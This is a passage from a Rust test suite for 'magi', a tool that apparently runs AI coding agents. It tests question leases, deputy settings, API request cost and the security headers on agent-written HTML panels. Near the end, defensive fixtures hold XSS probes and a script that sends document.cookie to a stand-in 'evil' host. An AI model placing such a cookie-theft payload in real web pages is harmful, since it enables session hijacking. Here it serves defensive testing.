10063 let mut stale = store.read_lease(&q.id).unwrap();
10064 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10065 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10066 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10067 assert!(view.deputy_exhausted);
10068 assert!(view.waiting_on_agent);
10069 assert_eq!(view.question.choices, ["keep"]);
10070 store.drop_lease(&q.id);
10071 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10072 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10073 }
10074
10075 #[test]
10076 fn holder_reads_the_lease_not_the_record() {
10077 let mut q = Question::new(
10078 "run".to_owned(),
10079 "implement".to_owned(),
10080 "impl-A".to_owned(),
10081 "which?".to_owned(),
10082 String::new(),
10083 Vec::new(),
10084 );
10085 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10086 q.cwd = Some("/tmp".to_owned());
10087 assert_eq!(holder_of(&q, None), Some("nobody"));
10088 let beat = |kind, ago: i64| ask::Lease {
10089 kind,
10090 pid: 1,
10091 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10092 .unwrap(),
10093 };
10094 let fresh = beat(ask::WaiterKind::Asker, 1);
10095 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10096 let daemon = beat(ask::WaiterKind::Daemon, 1);
10097 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10098 let stale = beat(ask::WaiterKind::Asker, 3600);
10099 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10100
10101 let mut c = Question::new(
10104 "task".to_owned(),
10105 crate::conduct::NODE.to_owned(),
10106 "conduct".to_owned(),
10107 "which?".to_owned(),
10108 String::new(),
10109 Vec::new(),
10110 );
10111 assert_eq!(holder_of(&c, None), Some("nobody"));
10112 c.cwd = Some("/tmp".to_owned());
10113 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10114 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10115 let deputy = beat(ask::WaiterKind::Deputy, 1);
10116 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10117 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10118
10119 let mut r = Question::new(
10121 String::new(),
10122 crate::bump::NOTICE_NODE.to_owned(),
10123 "release-watch".to_owned(),
10124 "stuck?".to_owned(),
10125 String::new(),
10126 vec!["hold".to_owned()],
10127 );
10128 assert_eq!(holder_of(&r, None), Some("nobody"));
10129 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10130 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10131 r.deputy = None;
10133 r.seat = "bump".to_owned();
10134 assert_eq!(holder_of(&r, None), None);
10135
10136 let mut m = Question::new(
10139 "run".to_owned(),
10140 crate::land::APPROVAL_NODE.to_owned(),
10141 "land".to_owned(),
10142 "merge?".to_owned(),
10143 String::new(),
10144 Vec::new(),
10145 );
10146 assert_eq!(holder_of(&m, None), Some("nobody"));
10147 assert_eq!(
10148 holder_of(&m, Some(&fresh)),
10149 Some("asker"),
10150 "a live explicit wait is a listener even before a deputy is attached"
10151 );
10152 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10153 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10154 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10155 assert_eq!(holder_of(&m, None), Some("nobody"));
10156 }
10157
10158 fn stub_config() -> Config {
10159 Config {
10162 agents: vec![crate::config::AgentSpec {
10163 id: "stub".to_owned(),
10164 kind: AgentKind::Command,
10165 model: None,
10166 command: vec!["true".to_owned()],
10167 extra_args: Vec::new(),
10168 env: Default::default(),
10169 prompt_delivery: None,
10170 max_turn_secs: None,
10171 }],
10172 ..Config::default()
10173 }
10174 }
10175
10176 fn plain_question(seat: &str) -> Question {
10177 Question::new(
10178 String::new(),
10179 "n".to_owned(),
10180 seat.to_owned(),
10181 "s".to_owned(),
10182 String::new(),
10183 Vec::new(),
10184 )
10185 }
10186
10187 #[test]
10188 fn deputies_enabled_follows_the_config() {
10189 let on = stub_config();
10190 assert!(crate::deputy::can_start(Some(&on), ""));
10191 assert!(crate::deputy::can_start(Some(&on), "stub"));
10192 let mut off = on.clone();
10193 off.daemon.max_deputies = 0;
10194 assert!(!crate::deputy::can_start(Some(&off), ""));
10195 let mut empty = on;
10196 empty.agents.clear();
10197 assert!(!crate::deputy::can_start(Some(&empty), ""));
10198 assert!(!crate::deputy::can_start(None, ""));
10199 }
10200
10201 #[test]
10202 fn question_views_load_the_config_once() {
10203 let dir = TempDir::new().unwrap();
10204 let store = ask::Questions::at(dir.path().to_path_buf());
10205 let mut with_deputy = plain_question("b");
10206 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10207 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10208
10209 let calls = std::cell::Cell::new(0usize);
10210 let views = question_views(qs.clone(), &store, || {
10211 calls.set(calls.get() + 1);
10212 Some(stub_config())
10213 });
10214 assert_eq!(calls.get(), 1);
10215 assert_eq!(views.len(), 3);
10216 for (v, q) in views.iter().zip(&qs) {
10217 assert_eq!(
10218 v.deputies_enabled,
10219 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10220 );
10221 }
10222
10223 let views = question_views(qs, &store, || None);
10224 assert!(views.iter().all(|v| !v.deputies_enabled));
10225
10226 let calls = std::cell::Cell::new(0usize);
10227 let views = question_views(Vec::new(), &store, || {
10228 calls.set(calls.get() + 1);
10229 None
10230 });
10231 assert!(views.is_empty());
10232 assert_eq!(calls.get(), 0);
10233 }
10234
10235 use pretty_assertions::assert_eq;
10236 use serde_json::Value;
10237 use tempfile::TempDir;
10238 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10239
10240 use super::*;
10241 use crate::config::Config;
10242 use crate::queue::Source;
10243
10244 const SETTLE_STEPS: usize = 3_000;
10255
10256 struct Fixture {
10262 home: TempDir,
10263 addr: SocketAddr,
10264 }
10265
10266 impl Fixture {
10267 async fn start() -> Self {
10268 Self::with_loop(launch_idle).await
10269 }
10270
10271 async fn with_loop(launch: Launch) -> Self {
10273 let home = TempDir::new().expect("temp home");
10274 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10275 Self { home, addr }
10276 }
10277
10278 async fn with_repo(repo: PathBuf) -> Self {
10282 let home = TempDir::new().expect("temp home");
10283 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10284 Self { home, addr }
10285 }
10286
10287 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10290 let home = TempDir::new().expect("temp home");
10291 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10292 Self { home, addr }
10293 }
10294
10295 async fn serve(
10296 home: &FsPath,
10297 repo: PathBuf,
10298 launch: Launch,
10299 machine: Option<PathBuf>,
10300 ) -> SocketAddr {
10301 let queue = Queue::at(home.join("queue"));
10302 let runs = home.join("runs");
10303 std::fs::create_dir_all(&runs).expect("runs dir");
10304 let worktrees = home.join("wt").join("magi");
10305 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10306 let ui = Ui::new(
10307 queue,
10308 Questions::at(home.join("questions")),
10309 Talks::at(home.join("talks")),
10310 runs,
10311 home.to_path_buf(),
10312 repo,
10313 )
10314 .with_worktrees_root(worktrees)
10315 .with_machine_config(machine)
10316 .with_launch(launch);
10317 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10318 .await
10319 .expect("bind loopback");
10320 let addr = listener.local_addr().expect("local addr");
10321 tokio::spawn(async move {
10322 let router = ui
10323 .router()
10324 .layer(axum::middleware::from_fn(request_cost::observe));
10325 let _ = axum::serve(listener, router).await;
10326 });
10327 addr
10328 }
10329
10330 fn queue(&self) -> Queue {
10331 Queue::at(self.home.path().join("queue"))
10332 }
10333
10334 fn questions(&self) -> Questions {
10335 Questions::at(self.home.path().join("questions"))
10336 }
10337
10338 fn talks(&self) -> Talks {
10339 Talks::at(self.home.path().join("talks"))
10340 }
10341
10342 fn runs(&self) -> PathBuf {
10343 self.home.path().join("runs")
10344 }
10345
10346 async fn get(&self, path: &str) -> Res {
10347 request(self.addr, "GET", path, None).await
10348 }
10349
10350 async fn head(&self, path: &str) -> Res {
10355 request(self.addr, "HEAD", path, None).await
10356 }
10357
10358 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10359 request(self.addr, "POST", path, body).await
10360 }
10361
10362 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10363 request_with(self.addr, "GET", path, None, extra).await
10364 }
10365
10366 async fn delete(&self, path: &str) -> Res {
10367 request(self.addr, "DELETE", path, None).await
10368 }
10369
10370 async fn put(&self, path: &str, body: &str) -> Res {
10371 request(self.addr, "PUT", path, Some(body)).await
10372 }
10373
10374 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10376 request_bytes(self.addr, path, headers, body).await
10377 }
10378 }
10379
10380 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10383 let tmp = TempDir::new().unwrap();
10384 let mut repos = Vec::new();
10385 for name in ["one", "two"] {
10386 let repo = tmp.path().join(name);
10387 let origin = tmp.path().join(format!("{name}.git"));
10388 std::fs::create_dir_all(&repo).unwrap();
10389 crate::git::git(&repo, &["init", "-b", "main"])
10390 .await
10391 .unwrap();
10392 std::fs::write(
10393 repo.join("magi.toml"),
10394 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10395 )
10396 .unwrap();
10397 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10398 crate::git::git(
10399 &repo,
10400 &[
10401 "-c",
10402 "user.name=fixture",
10403 "-c",
10404 "user.email=fixture@example.invalid",
10405 "commit",
10406 "-m",
10407 "fixture",
10408 ],
10409 )
10410 .await
10411 .unwrap();
10412 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10413 .await
10414 .unwrap();
10415 crate::git::git(
10416 &repo,
10417 &["remote", "add", "origin", origin.to_str().unwrap()],
10418 )
10419 .await
10420 .unwrap();
10421 crate::git::git(&repo, &["push", "origin", "main"])
10422 .await
10423 .unwrap();
10424 crate::git::git(
10425 &repo,
10426 &[
10427 "symbolic-ref",
10428 "refs/remotes/origin/HEAD",
10429 "refs/remotes/origin/main",
10430 ],
10431 )
10432 .await
10433 .unwrap();
10434 let (cfg, _) = Config::discover(&repo, None).unwrap();
10435 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10436 repos.push(repo);
10437 }
10438 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10439 (tmp, repos)
10440 }
10441
10442 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10443 let (tmp, repos) = performance_repositories().await;
10444 let machine = tmp.path().join("machine.toml");
10445 std::fs::write(&machine, "").unwrap();
10446 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10447 (tmp, repos, fx)
10448 }
10449
10450 fn seed_performance(
10451 fx: &Fixture,
10452 repos: &[PathBuf; 2],
10453 questions: usize,
10454 runs: usize,
10455 items: usize,
10456 ) {
10457 for i in fx.questions().list().len()..questions {
10459 let mut question = Question::new(
10460 "20261001-000000-0000".into(),
10461 "implement".into(),
10462 "impl-A".into(),
10463 format!("question {i}"),
10464 "context".into(),
10465 vec!["yes".into(), "no".into()],
10466 );
10467 question.id = format!("20261003-000000-{i:04x}");
10468 fx.questions().put(&mut question).unwrap();
10469 }
10470 for i in run_ids(&fx.runs()).len()..runs {
10471 write_run_repo(
10472 &fx.runs(),
10473 &format!("20261001-000000-{i:04x}"),
10474 RunStatus::Ready,
10475 repos[i % 2].to_str().unwrap(),
10476 );
10477 }
10478 for i in fx.talks().list().len()..items {
10479 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10480 let mut talk = fx.talks().get(&id).unwrap();
10481 talk.repo = repos[i % 2].clone();
10482 fx.talks().put(&mut talk).unwrap();
10483 let mut task = crate::queue::Task::new(
10484 format!("task {i}"),
10485 "instruction".into(),
10486 repos[i % 2].clone(),
10487 crate::queue::Source::Agent {
10488 run: id,
10489 node: crate::queue::CHAT_NODE.into(),
10490 },
10491 );
10492 task.id = format!("20261004-000000-{i:04x}");
10493 fx.queue().put(&mut task).unwrap();
10494 if i < crate::notices::CAP {
10496 Notices::at(fx.home.path().join("notifications"))
10497 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10498 .unwrap();
10499 }
10500 }
10501 assert_eq!(fx.questions().list().len(), questions);
10502 assert_eq!(run_ids(&fx.runs()).len(), runs);
10503 assert_eq!(fx.talks().list().len(), items);
10504 assert_eq!(fx.queue().list().len(), items);
10505 assert_eq!(
10506 Notices::at(fx.home.path().join("notifications"))
10507 .list()
10508 .len(),
10509 items.min(crate::notices::CAP)
10510 );
10511 }
10512
10513 fn request_counts(res: &Res) -> (usize, usize) {
10514 assert_eq!(res.status, 200, "{}", res.body);
10515 (
10516 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10517 res.header("x-test-git").unwrap().parse().unwrap(),
10518 )
10519 }
10520
10521 #[tokio::test]
10522 async fn list_request_cost_is_independent_of_record_count() {
10523 let (_tmp, repos, fx) = performance_fixture().await;
10524 let mut previous = None;
10525 for n in [4, 60] {
10526 seed_performance(&fx, &repos, n, n, n);
10527 let mut costs = Vec::new();
10528 for (path, discoveries) in [
10529 ("/api/questions", 1),
10530 ("/api/talks", 2),
10531 ("/api/health", 1),
10532 ("/api/stats", 1),
10533 ] {
10534 for repo in &repos {
10537 let cache = repo.join(".git/magi/config");
10538 if cache.exists() {
10539 std::fs::remove_dir_all(cache).unwrap();
10540 }
10541 }
10542 let cost = request_counts(&fx.get(path).await);
10543 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10544 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10545 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10546 costs.push(cost);
10547 }
10548 if let Some(previous) = previous {
10549 assert_eq!(costs, previous);
10550 }
10551 previous = Some(costs);
10552 }
10553 }
10557
10558 #[tokio::test]
10561 async fn list_handler_cost_without_transport() {
10562 let (_tmp, repos) = performance_repositories().await;
10563 let fx = Fixture {
10564 home: TempDir::new().unwrap(),
10565 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10566 };
10567 let ui = Arc::new(
10568 Ui::new(
10569 fx.queue(),
10570 fx.questions(),
10571 fx.talks(),
10572 fx.runs(),
10573 fx.home.path().to_path_buf(),
10574 repos[0].clone(),
10575 )
10576 .with_worktrees_root(fx.home.path().join("wt")),
10577 );
10578 let mut previous = None;
10579 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10580 seed_performance(&fx, &repos, n, runs, items);
10581 let mut costs = Vec::new();
10582 for endpoint in ["questions", "talks", "health", "stats"] {
10583 for repo in &repos {
10584 let cache = repo.join(".git/magi/config");
10585 if cache.exists() {
10586 std::fs::remove_dir_all(cache).unwrap();
10587 }
10588 }
10589 let (_, cost) = request_cost::measure(async {
10590 match endpoint {
10591 "questions" => {
10592 let _ = questions_list(State(ui.clone())).await.unwrap();
10593 }
10594 "talks" => {
10595 let _ = talks_list(
10596 State(ui.clone()),
10597 Query(ListQuery {
10598 limit: None,
10599 ids: None,
10600 }),
10601 )
10602 .await
10603 .unwrap();
10604 }
10605 "health" => {
10606 let _ = health(State(ui.clone())).await.unwrap();
10607 }
10608 _ => {
10609 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10610 .await
10611 .unwrap();
10612 }
10613 }
10614 })
10615 .await;
10616 eprintln!("{endpoint} handler N={n}: {cost:?}");
10617 assert_eq!(
10618 cost.0,
10619 if endpoint == "talks" { 2 } else { 1 },
10620 "{endpoint}"
10621 );
10622 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10623 costs.push(cost);
10624 }
10625 if let Some(previous) = previous {
10626 assert_eq!(costs, previous);
10627 }
10628 previous = Some(costs);
10629 }
10630 }
10631
10632 #[tokio::test]
10633 async fn list_request_cost_scopes_do_not_mix() {
10634 let (_tmp, repos, fx) = performance_fixture().await;
10635 seed_performance(&fx, &repos, 10, 0, 10);
10636 let (questions, talks, notices) = tokio::join!(
10637 fx.get("/api/questions"),
10638 fx.get("/api/talks"),
10639 fx.get("/api/notifications")
10640 );
10641 assert_eq!(request_counts(&questions).0, 1);
10642 assert_eq!(request_counts(&talks).0, 2);
10643 assert_eq!(request_counts(¬ices), (0, 0));
10644 }
10645
10646 #[tokio::test]
10647 async fn list_endpoints_large_home_ceiling() {
10648 let (_tmp, repos, fx) = performance_fixture().await;
10649 seed_performance(&fx, &repos, 200, 300, 400);
10650 let mut failures = Vec::new();
10651 for path in [
10654 "/",
10655 "/app.js",
10656 "/app.css",
10657 "/api/questions",
10658 "/api/runs?limit=300",
10659 "/api/queue",
10660 "/api/talks",
10661 "/api/notifications",
10662 "/api/health",
10663 "/api/stats",
10664 "/api/loop",
10665 "/api/settings",
10666 "/api/repos",
10667 ] {
10668 let start = std::time::Instant::now();
10669 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10670 let elapsed = start.elapsed();
10671 eprintln!("{path}: {elapsed:?}");
10672 match result {
10673 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10674 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10675 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10676 }
10677 }
10678 assert!(failures.is_empty(), "{}", failures.join("\n"));
10679 }
10680
10681 struct Res {
10682 status: u16,
10683 headers: String,
10684 head: String,
10689 body: String,
10690 bytes: Vec<u8>,
10694 }
10695
10696 impl Res {
10697 fn json(&self) -> Value {
10698 serde_json::from_str(&self.body)
10699 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10700 }
10701
10702 fn header(&self, name: &str) -> Option<&str> {
10704 self.head.lines().find_map(|line| {
10705 let (key, value) = line.split_once(':')?;
10706 key.trim()
10707 .eq_ignore_ascii_case(name)
10708 .then(|| value.trim_start().trim_end_matches('\r'))
10709 })
10710 }
10711 }
10712
10713 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10716 request_with(addr, method, path, body, &[]).await
10717 }
10718
10719 async fn request_with(
10723 addr: SocketAddr,
10724 method: &str,
10725 path: &str,
10726 body: Option<&str>,
10727 extra: &[(&str, &str)],
10728 ) -> Res {
10729 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10730 for (name, value) in extra {
10731 head.push_str(&format!("{name}: {value}\r\n"));
10732 }
10733 if let Some(body) = body {
10734 head.push_str("Content-Type: application/json\r\n");
10735 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10736 }
10737 head.push_str("\r\n");
10738 if let Some(body) = body {
10739 head.push_str(body);
10740 }
10741 let mut socket = tokio::net::TcpStream::connect(addr)
10742 .await
10743 .expect("connect to the test server");
10744 socket
10745 .write_all(head.as_bytes())
10746 .await
10747 .expect("write request");
10748 let mut raw = Vec::new();
10749 socket.read_to_end(&mut raw).await.expect("read response");
10750 let split = raw
10753 .windows(4)
10754 .position(|w| w == b"\r\n\r\n")
10755 .expect("a header block");
10756 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10757 let bytes = raw[split + 4..].to_vec();
10758 let status = head
10759 .lines()
10760 .next()
10761 .and_then(|line| line.split_whitespace().nth(1))
10762 .and_then(|code| code.parse().ok())
10763 .expect("a status line");
10764 Res {
10765 status,
10766 headers: head.to_lowercase(),
10767 head,
10768 body: String::from_utf8_lossy(&bytes).into_owned(),
10769 bytes,
10770 }
10771 }
10772
10773 async fn request_bytes(
10779 addr: SocketAddr,
10780 path: &str,
10781 headers: &[(&str, &str)],
10782 body: &[u8],
10783 ) -> Res {
10784 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10785 for (name, value) in headers {
10786 head.push_str(&format!("{name}: {value}\r\n"));
10787 }
10788 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10789 let mut socket = tokio::net::TcpStream::connect(addr)
10790 .await
10791 .expect("connect to the test server");
10792 socket
10793 .write_all(head.as_bytes())
10794 .await
10795 .expect("write request head");
10796 socket.write_all(body).await.expect("write request body");
10797 let mut raw = Vec::new();
10798 socket.read_to_end(&mut raw).await.expect("read response");
10799 let split = raw
10800 .windows(4)
10801 .position(|w| w == b"\r\n\r\n")
10802 .expect("a header block");
10803 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10804 let bytes = raw[split + 4..].to_vec();
10805 let status = head
10806 .lines()
10807 .next()
10808 .and_then(|line| line.split_whitespace().nth(1))
10809 .and_then(|code| code.parse().ok())
10810 .expect("a status line");
10811 Res {
10812 status,
10813 headers: head.to_lowercase(),
10814 head,
10815 body: String::from_utf8_lossy(&bytes).into_owned(),
10816 bytes,
10817 }
10818 }
10819
10820 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10822 let mut state = RunState::new(
10823 PathBuf::from("/repo/magi"),
10824 "main".to_owned(),
10825 "0123456789abcdef".to_owned(),
10826 "Add a web UI\n\nMobile first.".to_owned(),
10827 Config::default(),
10828 );
10829 state.id = id.to_owned();
10830 state.status = status;
10831 let dir = runs.join(id);
10832 std::fs::create_dir_all(&dir).expect("run dir");
10833 std::fs::write(
10834 dir.join("run.json"),
10835 serde_json::to_string_pretty(&state).expect("serialize run"),
10836 )
10837 .expect("write run.json");
10838 }
10839
10840 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10844 let mut state = RunState::new(
10845 PathBuf::from(repo),
10846 "main".to_owned(),
10847 "0123456789abcdef".to_owned(),
10848 "task".to_owned(),
10849 Config::default(),
10850 );
10851 state.id = id.to_owned();
10852 state.status = status;
10853 let dir = runs.join(id);
10854 std::fs::create_dir_all(&dir).expect("run dir");
10855 std::fs::write(
10856 dir.join("run.json"),
10857 serde_json::to_string_pretty(&state).expect("serialize run"),
10858 )
10859 .expect("write run.json");
10860 }
10861
10862 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10863 let body = serde_json::json!({
10864 "schema": 1,
10865 "pid": 4242,
10866 "started_at": Timestamp::now().to_string(),
10867 "updated_at": updated_at.to_string(),
10868 "idle": false,
10869 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10870 "completed": 7,
10871 "polls": 143,
10872 });
10873 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10874 }
10875
10876 fn launch_idle(
10886 _opts: daemon::Opts,
10887 stop: daemon::Stop,
10888 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10889 Box::pin(async move {
10890 while !stop.stopped() {
10891 tokio::time::sleep(Duration::from_millis(2)).await;
10892 }
10893 Ok(())
10894 })
10895 }
10896
10897 fn launch_broken(
10900 _opts: daemon::Opts,
10901 _stop: daemon::Stop,
10902 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10903 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10908 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10909 Box::pin(async move {
10910 Err(anyhow::anyhow!(if first {
10911 "publish the daemon status file: read-only file system"
10912 } else {
10913 "the restarted stand-in failed as well"
10914 }))
10915 })
10916 }
10917
10918 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10927 for _ in 0..SETTLE_STEPS {
10928 let view = fx.get("/api/loop").await.json();
10929 if want(&view) {
10930 return view;
10931 }
10932 tokio::time::sleep(Duration::from_millis(10)).await;
10933 }
10934 panic!(
10935 "the loop never settled: {}",
10936 fx.get("/api/loop").await.json()
10937 );
10938 }
10939
10940 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
10942 let store = fx.questions();
10943 let mut q = Question::new(
10944 "20260902-000000-beef".to_owned(),
10945 "implement".to_owned(),
10946 "impl-A".to_owned(),
10947 summary.to_owned(),
10948 "because it matters".to_owned(),
10949 choices.iter().map(|c| (*c).to_owned()).collect(),
10950 );
10951 store.put(&mut q).expect("put question");
10952 q.id
10953 }
10954
10955 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
10961 let store = fx.questions();
10962 let mut q = Question::new(
10963 "20260902-000000-beef".to_owned(),
10964 "land".to_owned(),
10965 "fix".to_owned(),
10966 "Merge this?".to_owned(),
10967 "the diff is in the panel".to_owned(),
10968 vec!["merge".to_owned(), "hold".to_owned()],
10969 );
10970 let staging = fx.home.path().join("staging");
10973 std::fs::create_dir_all(&staging).expect("staging dir");
10974 let sources: Vec<PathBuf> = assets
10975 .iter()
10976 .map(|(name, bytes)| {
10977 let path = staging.join(name);
10978 std::fs::write(&path, bytes).expect("write staged asset");
10979 path
10980 })
10981 .collect();
10982 store
10983 .put_panel(&mut q, html, &sources)
10984 .expect("write the panel");
10985 store.put(&mut q).expect("put question");
10986 q.id
10987 }
10988
10989 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
10998 seed_talk_at(&fx.talks(), id, status)
10999 }
11000
11001 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11002 std::fs::create_dir_all(store.root()).expect("talks dir");
11003 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11004 .expect("serialize a seat");
11005 let body = serde_json::json!({
11006 "schema": 1,
11007 "id": id,
11008 "repo": "/repo/magi",
11009 "agent": "mock",
11010 "status": status,
11011 "turns": [],
11012 "created_at": Timestamp::now().to_string(),
11013 "updated_at": Timestamp::now().to_string(),
11014 "seat": seat,
11015 });
11016 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11017 store.get(id).expect("the seeded talk has to be readable");
11018 id.to_owned()
11019 }
11020
11021 #[tokio::test]
11022 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11023 let fx = Fixture::start().await;
11024 let id = panel(
11025 &fx,
11026 "<h1>Merge?</h1><img src=\"diff.svg\">",
11027 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11028 );
11029
11030 for path in [
11031 format!("/api/questions/{id}/panel"),
11032 format!("/api/questions/{id}/asset/diff.svg"),
11033 ] {
11034 let res = fx.get(&path).await;
11035 assert_eq!(res.status, 200, "{path}: {}", res.body);
11036 assert_eq!(
11042 res.header("content-security-policy"),
11043 Some(
11044 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11045 font-src data:; base-uri 'none'; form-action 'none'; \
11046 frame-ancestors 'self'"
11047 ),
11048 "{path} is the only thing between a hostile panel and the tailnet"
11049 );
11050 assert_eq!(
11051 res.header("x-content-type-options"),
11052 Some("nosniff"),
11053 "{path}: a browser must not re-decide the type we sent"
11054 );
11055 assert_eq!(
11056 res.header("referrer-policy"),
11057 Some("no-referrer"),
11058 "{path}: a panel must not leak the question id off the machine"
11059 );
11060
11061 let pre = fx.head(&path).await;
11066 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11067 assert_eq!(
11068 pre.header("content-security-policy"),
11069 res.header("content-security-policy"),
11070 "{path}: the preflight carries the same policy"
11071 );
11072 assert_eq!(
11073 pre.header("content-type"),
11074 res.header("content-type"),
11075 "{path}: the preflight carries the same type"
11076 );
11077 }
11078 }
11079
11080 #[tokio::test]
11081 async fn a_panel_reaches_the_browser_byte_for_byte() {
11082 let fx = Fixture::start().await;
11083 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11088 let id = panel(&fx, html, &[]);
11089
11090 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11091
11092 assert_eq!(res.status, 200);
11093 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11094 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11095 assert_eq!(
11096 res.header("content-disposition"),
11097 None,
11098 "the panel itself is rendered in the frame, not downloaded"
11099 );
11100 }
11101
11102 #[tokio::test]
11103 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11104 let fx = Fixture::start().await;
11105 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11106 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11107 let id = panel(
11108 &fx,
11109 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11110 &[("diff.svg", svg), ("shot.png", png)],
11111 );
11112
11113 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11114 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11115
11116 assert_eq!(as_svg.status, 200);
11117 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11118 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11123
11124 assert_eq!(as_png.status, 200);
11125 assert_eq!(as_png.header("content-type"), Some("image/png"));
11126 assert_eq!(
11127 as_png.header("content-disposition"),
11128 None,
11129 "a raster image has no execution surface, so tapping it still shows it"
11130 );
11131 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11132 }
11133
11134 #[tokio::test]
11135 async fn an_html_asset_is_never_served_as_html() {
11136 let fx = Fixture::start().await;
11137 let id = panel(
11138 &fx,
11139 "<p>see the notes</p>",
11140 &[
11141 (
11142 "notes.html",
11143 b"<script>fetch('http://evil/'+document.cookie)</script>",
11144 ),
11145 ("hook.js", b"fetch('http://evil/')"),
11146 ("data.json", b"{}"),
